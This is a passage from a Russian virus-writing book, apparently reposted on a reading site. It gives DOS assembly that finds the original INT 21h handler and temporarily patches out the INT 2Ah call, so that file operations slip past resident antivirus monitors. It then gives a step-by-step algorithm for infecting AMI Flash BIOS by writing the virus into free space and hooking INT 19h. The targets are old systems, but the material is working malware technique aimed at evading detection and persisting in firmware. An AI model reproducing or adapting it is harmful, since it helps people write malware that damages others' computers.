Читаем Создаем вирус и антивирус полностью

;Процедура установки адреса (один из самых коротких,

;хотя и подозрительных вариантов реализации)

SetAdr proc near

;Устанавливаем указатель на таблицу в регистре SI

mov si,offset Table

;Читаем очередное значение сегмента и смещения из таблицы

Next:

mov es,[si]

mov bx,[si+2]

;Проверяем контрольный код в слове, адрес которого получен

;из таблицы. Если результат отрицательный, переходим

;к следующему элементу таблицы

cmp es:[bx],2ACDh

jnz Skip

;Сохраняем адрес точки 2A

mov Ofs2A,bx

mov Seg2A,es

;Сохраняем адрес точки 2 из таблицы

mov ax, [si+4]

mov Seg21,ax

mov ax, [si+6]

mov Ofs21,ax

ret

Skip:

;Переходим к следующему элементу таблицы

add si,8

;Проверяем, не закончилась ли таблица. Если таблица закончилась,

;читаем адрес текущего обработчика прерывания

cmp [si], 0

jnz Next

;Читаем адреса текущего обработчика прерывания INT 21h – метод

;”предопределенных адресов” не сработал, точка входа не найдена

mov ax, 3521h

int 21h

mov Ofs21,bx

mov Seg21,es

ret

;Таблица позиций 2A и 2.

Table dw 0FF03h, 5333h,0FF03h, 420Ah

dw 0FDC8h, 41D1h,0FDC8h, 411Bh

...

dw 0

SetAdr endp

;Процедура прямого обращения к DOS

CallDOS proc near

;Если функция безопасна, вызываем прерывание обычным способом

cmp ah,3Bh

jb Trivial

cmp ah,42h

ja Trivial

;Заменяем вызов прерывания 2Аh на две команды NOP (9090h)

;в обработчике DOS, предварительно

;сохранив первоначальные значения кода

push es

push ax

push bx

mov es,cs:Ofs2A

mov bx,cs:Seg2A

mov ax,es:[bx]

mov cs:Save, ax

mov es:[bx], 9090h

pop bx

pop ax

pop es

;Вызываем напрямую прерывание DOS

pushf

call cs:dword ptr Ofs21

;Восстанавливаем вызов 2Аh

push es

push ax

push bx

mov es,cs:Ofs2A

mov bx,cs:Seg2A

mov ax,cs:Save

mov es:[bx], ax

pop bx

pop ax

pop es

ret

;Обычное обращение к DOS (используется для безопасных функций)

Trivial:

int 21h

ret

;В этом месте сохраняем значение для кода вызова INT 2Ah

Save dw ?

;Обработчик прерывания DOS

Ofs21 dw ?

Seg21 dw ?

;Адрес вызова INT 2Ah из обработчика DOS

Ofs2A dw ?

Seg2A dw ?

CallDOS endp

<p>Flash BIOS</p>

Новое место для вирусов

Flash-память – энергонезависимая память, которая обеспечивает работоспособность EPROM со встроенной электрической схемой стирания и перепрограммирования. Энергонезависимая память отличается от RAM тем, что она не обнуляется при отсутствии напряжения.

Flash BIOS – Flash-память, которая используется для хранения кода BIOS. Она может быть перепрограммирована – это предусмотрено для облегчения обновления BIOS. Такие микросхемы применяются в 90 % портативных компьютеров, в большинстве компьютеров 486DX2, 486DX4, Pentium.

Как известно, BIOS получает управление при запуске компьютера. Все что нужно сделать вирмейкеру – это незаметно модифицировать BIOS, чтобы вирус стартовал перед загрузкой системы компьютера.

AMI Flash вирус

Алгоритм работы вируса:

1. Проверить компьютер на наличие Flash BIOS;

2. Проверить Flash BIOS на зараженность (осуществить выход, если она заражена);

3. Считать вектор INT 19h из таблицы (прерывание загрузки);

4. Прочесть первые 5 байт от точки входа INT 19h;

5. Проверить BIOS на наличие свободного места для размещения вируса (поиск области нулей);

6. Установить память Flash BIOS в режим записи (обычно она находится в режиме «ReadOnly»);

7. Записать вирус в найденную область нулей;

8. Записать переход на вирус в точку входа INT 19h;

9. Восстановить режим «ReadOnly» для памяти Flash BIOS.

Единственное предназначение INT 19h – быть вызванным в процессе загрузки, чтобы загрузить boot-сектор в память и передать ему управление. Прерывание именно то, которое и требуется изменить.

Нужно иметь в виду, что одновременно читать из памяти Flash BIOS и записывать в нее нельзя. Поэтому во время работы вируса нельзя использовать временные переменные в этой памяти. Более целесообразным является создание вируса для обычного boot-сектора. Этот вирус следует поместить в конец памяти и оттуда устанавливать вектор INT 13h.

Перейти на страницу:
Нет соединения с сервером, попробуйте зайти чуть позже